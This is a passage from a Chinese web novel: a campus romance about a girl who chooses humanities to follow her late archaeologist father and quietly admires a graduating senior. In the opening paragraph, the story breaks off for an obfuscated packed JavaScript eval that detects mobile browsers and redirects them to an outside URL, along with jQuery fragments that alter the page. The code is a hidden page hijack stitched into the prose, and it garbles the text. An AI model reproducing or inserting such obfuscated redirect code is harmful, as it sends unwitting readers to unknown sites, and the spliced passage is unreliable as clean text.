甘茯苓皱着眉头,起身回了自己的房间:“你让我先静一会儿。” 半个小时后,她走出房间,摸摸女儿的头:“从你小的时候开始,我就知道,你和你爸爸一样,是喜欢风花雪月的人。” 终于主动提起了余梁。 余澄也陷入了回忆之中,不自觉地微笑:“那个时候,我们俩呀,一有空就出去跑。走到哪儿,爸爸就顺手写首打油诗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15042243|162585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让我随便改几个字。住的地方可以很烂,但景总要看最好的。” 甘茯苓接她的话:“那几年我忙着升职,也没什么时间陪你们。有大半的时间都是你们父女俩去的。现在想想,还真的觉得很遗憾。” 余澄微笑:“妈妈,我心里一直都有爸爸。所以,我想把爸爸的路继续走下去。” 余梁是一名考古学家。在三年前对丝绸之路上一处古老遗址的考察中,他的团队遭遇了沙尘暴。 尽管收到了天气预警,但由于对遗址的考察进入关键阶段,余梁决定带领团队尽快完成手头的工作后再撤离。 然而,沙尘暴的猛烈程度超出了他们的预期,强烈的风力卷起大量沙石,不仅让队员们难以行走,还破坏了他们的通讯设备。 在混乱中,余梁为了救一名被沙石击中而受伤的年轻队员,不顾自身安危,奋力将他拉到一处相对安全的地方。 但就在这时,一根被风吹断的枯木枝在狂风的裹挟下,狠狠地砸向了他。 尽管队友们迅速进行了简单的急救,并试图与外界取得联系,但由于沙尘暴的影响,救援队伍无法及时赶到。 最终,余梁因伤势过重,在沙漠中不幸离世。 从那天开始,这个家庭就摇摇欲碎,不堪一击。 甘茯苓看着女儿与丈夫相似的面容,不自觉地叹了口气。 算了,孩子的路,还是让她自己走吧。 她看了看余澄,终于下定决心:“我同意了,不逼你。你去做你爱做的事吧。继承爸爸未完成的遗志也好。只是,一定要注意安全。” 手指抚上女儿的面容,甘茯苓又开了口,语气里全是温情:“如果未来受挫了,碰壁了,也不要走牛角尖。要是受了委屈也实在忍不了,那就回家吧。妈妈永远是你最坚实的依靠。” 余澄望向甘茯苓。母女俩虽表面上一个强悍一个温软,骨子里却有着相似的坚韧。 虽然离分离还有两年,她却有些先知先觉的伤感。 她郑重向甘茯苓点了点头:“谢谢妈妈理解,我一定会努力的。” * 和甘茯苓沟通好后,余澄感觉自己的心里像是卸下了一块石头。 得到了妈妈的认可,她也确实,没有什么其他好怕的了。 接下来的日子里,她认真听没什么人听的文科课。 同时,理科科目也不懈怠。 第二次月考里,余澄第一次跃入班级前三名。 韩康安对她说:“余澄,你期末考如果按这个态势保持下去,是可以被调进最重点的那几个班的。” 余澄向他微笑:“不用了,老师。我已经决定好要学文了。” 韩康安讶异道:“余澄,你真的想好了吗?” 余澄坚定道:“嗯,想好了,不后悔。” 见余澄太过坚决,韩康安也没有再说什么劝阻她的话。 他笑笑:“那老师就祝你以后,一帆风顺。” * 高考前的一个月,学校给高一同学们分发了明信片。 裴凌站在讲台上,交代上面布置下来的任务:“大家都在明信片上写一些加油的话。到时候一个班收齐后会分发给高三的同学们。” 他想了想,又罕见补充了一句:“都好好写,别敷衍,务必认真。学长学姐们十二年的奋斗都是为了这一场考试,真的很不容易。” 台底下有人叫道:“班长,那咱们班的明信片会交给高三哪个班啊?” 裴凌解释:“咱们班人多。到时候明信片会一部分给理二十四,另一部分给文一。” 余澄猛地抬起了头。 文一!? 也就是说,自己的明信片,有可能,会递到他的手上...... 明信片发下来之后,大家都纷纷开始动笔。 一时间,刷刷的书写声将其他一切声音掩盖。 余澄沉思了许久,最终,才一笔一划地写下了最衷心的祝福。 不管是对他,还是对其他学长学姐。 “亲爱的学长/学姐: 盛夏蝉鸣时,愿笔尖能够绽放所有期许。 愿你经历万千,归来还是那个最珍贵的自己。 你的努力一定不会被白费! —高一(13)班余澄” * 松陵一中每年高考时都会被用来作为考场。 因此,高一高二的学生在高考前的一天就会放假,给学校留出时间布置考场。一直到高考结束后才返校。 六月六日上午,余澄和董茵把抽屉里的东西清空,全部塞进教室后面的柜子里。直到把桌子和抽屉都收拾的空空荡荡,才被允许背上书包回家。 董茵兴冲冲道:“太好啦,这可是好几天的小长假呢!真的好幸福啊!” “这几天,除了写作业,剩下的时间里我都要呆在家里好好玩手机!” 她看向余澄:“余澄,假期还蛮长的欸,你打算出去走走吗?” 不知什么时候,余澄的眼睛,落在了教室最后,放在空调上的那盆郁郁葱葱的绿植上。 她轻声说:“我确实打算,去一个地方。” 15. 第二场雨 青蒙蒙的一片树林里,余澄正缓缓踏上被苔藓洇出深浅斑痕的石阶。 这里是福寿庵,整个松陵人流最多的寺庙。传闻中,只要在这里许下愿望,都有极大的可能成真。 朱红廊柱间、欹斜树枝上,都翻涌着朱砂色的祈愿带。 这里以往就香火旺盛,又逢高考时分。 校领导、老师与家长们,都来为考生们挂祈愿条。希望他们能如愿以偿。 平日里的大家,或许都不信神佛。 但在这个时候,谁都希望菩萨能够垂怜自己挂念的孩子一下。 暮色渐渐漫过古寺的飞檐。 余澄走到那棵最茂盛的大树下面,拿起之前留下的祈福条细细地看。 “希望我的孩子高考能取得让人满意的成绩!不求超常发挥,只求正常发挥。” “愿我们学校的孩子们都能考得好!让我们学校明年别再为了招生发愁!” 还有更早的。 “希望奶奶早日康复。爸爸妈妈身体健康。” “新的一年要和老婆继续甜甜蜜蜜!” 余澄看着这些美好的愿望,心情在不知不觉中也跟着轻快了起来。 趁天色还没完全暗下去,她连忙走到寺庙售卖香火的地方,买下一根祈福带。 想了许久,还是写下了很含蓄的话。 “祝h学长高考顺利,繁花似锦。 ——高一y同学” 她走到一棵祈福带挂的比较多的树下,把祈福带认真地绑了下来。 将末端拉了又拉,确保它不会掉下来。 起风了。 刚刚绑好的祈福带像只活泼的鸢鸟,随着风去的方向飘摇。 余澄扭头望向祈福带的末端。 上天啊,就让我的祝福随着风一路扶摇。 你一定要听见啊。 风渐渐止了。 余澄用手整了整自己被风吹的乱糟糟的头发,准备离开。 她转过身去,正好看到一条祈福带上露出的一个字。 “颂。” 好奇心起,她拨开四周层层叠叠的祈福带,想要一探究竟。 祈福带上是很张扬的字迹。 “贺颂之你要一路青云!!!!!!!!!到时候衣锦还乡我就能吹自己是你学妹了!!!!!!!! ——一只小菜鸡” 原来,有很多人在你不知道的地方,追逐着你,祝福着你啊。 贺颂之。 你一定要。 一切顺利。 * 高考持续的期间,余澄没有再出门。 但每当网上出现关于高考试题的消息时,她还是会忍不住点开。 一是,两年后的她,也会面对一套类似的题。她想看看究竟是什么样的。 二是,她会不自觉地想到,几个小时前,贺颂之他看到这些题的心情,又会是什么呢? #高考语文简单# #高考数学超纲# #李华我真的再也不想给你写信了# 每一年的这几天,各大平台上都会被高考的消息填满。 毕竟是人生大事。 高考结束的那个下午,余澄站在自己房间的窗子前。 从这个角度,刚好能够看到学校里的情况。 当最后一门结束的铃声响起,所有的教学楼瞬间从鸦雀无声变为人声鼎沸。 几分钟后,楼里考完试的学生们飞一般跑出了教学楼门,直往学校门口奔去。 欢呼声与脚步声顿时充盈了整个校园。 余澄眼神稍稍往下移了一点,看到了校园外焦急等候的家长们。 他们三两成群,手中都抱着一捧捧鲜花。 有的家长将手中花花绿绿的横幅高举着,好让孩子能够第一时间看到。 还有的妈妈身上穿着精美的旗袍,即使是最后一天,也要让孩子旗开得胜。 这一天不知是多少人难忘的时刻。 他们终于褪去了高中生的身份。开始从心理意义上向一个成年人转变。 走出生活全部围绕着学习的象牙塔,走进大学。或许背井离乡,或许披星戴月。开始接触更大的世界、更多的人。 余澄静静注视着他们,心里却不自觉浮起一个念头。 一中向来有个传统。高三生高考完的当天晚上,还要回到学校将自己记得的所有答案默写下来。接着,老师会拿着不知道哪里来的网传答案给学生估分。 也就是说,贺颂之这一晚,会回来。 晚上七点钟,天已渐渐昏沉下去。 一号楼的灯,却渐渐地亮了。 余澄没有拉窗帘,坐在书桌前看书。时不时地抬起头看一眼对面教学楼。 从十点开始,灯开始渐渐地灭了。 但也还有几点孤灯,已经璀璨到了第二天凌晨。 一点钟,最后一盏灯灭了。 不知又是多少人的不眠之夜。 早晨,余澄匆匆忙忙收拾好书包,往学校里跑。 高考结束了,高一也该返校了。 余澄她们班的教室在四层,电梯又只有老师和实在不方便的同学才能坐。每次都得爬楼梯。 再加上余澄每天都踩点到学校,爬楼梯必须保证速度。因此每天上楼都是一件很痛苦的事情。 她正气喘吁吁地爬着三楼到四楼的楼梯,头都累的抬不起来。忽然听到这一节楼梯的末尾,传来一个懒洋洋又带着几分幸灾乐祸的声音。 “唉,好惨啊,还要上学。” 余澄抬头望去。 是个长相随处可见的平头男生,穿着一中校服,看起来也就是个普通学生。 那他为什么,会幸灾乐祸地说出这种话? 她视线下移。 那个男生的手里,拿着一部......手机?! 余澄正懵着,却看见那个男生背后突然又出现了另一个高个子男生。 高个子男生拍拍平头男生,冲着他笑:“喂,赶紧走了。别自己考完解放了,就来气别人。” 两个人转身离去。余澄这才后知后觉,原来是高三的学长。 他们今天怎么还在学校?! 到了教室,余澄把刚刚遇到的事情对董茵讲了。 董茵也很气愤。 “他在厉害什么啊!等我高考完了,我也要用这种方法气后面两届!” 余澄:“哈哈哈哈哈哈哈哈哈哈。己所不欲,勿施于人啊。” 她像是又想起什么,忙问董茵:“诶,那他们不都高考完了吗,今早怎么还回学校?” 董茵一边把书翻开,一边回答她:“叫你天天晚来。像我们这种早到的学生,就能掌握一手消息。” “是这样,咱们学校不知道抽什么风了。往年,不都是出分前一天他们回来开毕业典礼之前才拍毕业照吗。结果今年刚考完就火急火燎地拍照。” 余澄回忆了下刚刚那个男生的模样。神情倒是挺轻松的,可眼下挂着的两个大大的黑眼圈却是让人忽略不了。 叫你得瑟! 不过,整个高三都回来的话...... 一到课间,余澄装作不经意地对董茵说:“教室里有点闷,咱们下去散散心吧。” 董茵也正有此意:“好啊。正好,我也想去围观一下他们拍毕业照。” 她倒是一下子就说出了余澄的心声。 两个人手挽着手,穿过大半个校园,来到了上次余澄拍光荣榜照片的那条长廊。 长廊所在的位置是一片比较宽阔的空地。此时,这里一堆一堆的站满了学生。 余澄默默注视着学长学姐们。虽然仍穿着校服,她却觉得,他们身上有什么东西变了。 骄傲的,无措的,迷茫的,憧憬的......这一刻,无论他们是什么神情,她觉得,都很好看。 照片将他们青春的模样定格在这特定的一天,但他们的人生却不会定格。 少年少女们 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他把外面的校服脱下来,里面穿的是一件白色正装衬衫。 随着摄影师的指令,他把手中的校服与众人一起抛向了天空。 校服在空中划下一道道优美的弧线。 大家一同高喊着:“毕——业——快——乐!” 下次再见,也不知道会是什么时候了。 余澄远远地望着他,望着他们。 也在心里默默地念着。 贺颂之毕业快乐。 不管以后能不能再见,我都希望—— 你要一生顺遂,前路坦荡。 * 接下来的二十多天还未出分的日子,高三的教室蓦然空了。 就像是从没有人来过一样。 余澄自然也没有再偶遇过贺颂之了。 也有些学长学姐在这段时间里返校为强基计划做准备。 但余澄也没有在他们的身影里看到过贺颂之。 她也不觉得有什么遗憾。 他们本来就是两条平行线上的人。 之前有了一些交集,就已经很幸运了。 他有他的人生,她也一样有她的人生。 她不会去刻意地追逐他。 但是她也会尽自己的努力去成为更好的人。 如果再能遇见,也是缘分。遇不见的话,也没有什么关系。 你有没有喜欢过一个人? 很纯粹地喜欢一个人。 那种喜欢,不是想要得到他,引他低头。而是只想看着他在更广大的世界里发光发热,就好了。 有些人,即使只是单方面的认识,也是一种幸运了。 余澄依旧毫不懈怠地学习,丝毫没有因为自己选了文科就对理科自暴自弃。 她想要善始善终。 高考出分前的那个晚上,一中为全体高三学生举办了毕业晚会。 因为毕业晚会的灯光与声音效果很好,教学楼必然会受到影响。所以高一高二年级这天的晚自习又放假了。 家不住在学校附近的同学自然是乐得清净。但在学校旁边租房的同学,也能把晚会的声音听的一清二楚。 余澄的窗户紧闭着,但欢乐的声音还是源源不断地传入她的耳朵。 他们唱《夜空中最亮的星》、唱《奔跑》、唱《追光者》。 明天,影响他们一生道路的成绩就要出来了。 或许,这就是最后的相聚了。 出分的那天是个周末。 本可以睡个懒觉的余澄,这一天却莫名失了眠。 她早早地起了床,却又不想写作业。焦急却又没有办法。 只能百无聊赖地不断刷新着手机上的各大软件。 一中在出分这天有个传统。如果有学生拿了松陵的状元,学校里就会放鞭炮庆祝。 公布分数的时间到了。 几分钟后,一中里响彻起了热烈的鞭炮声。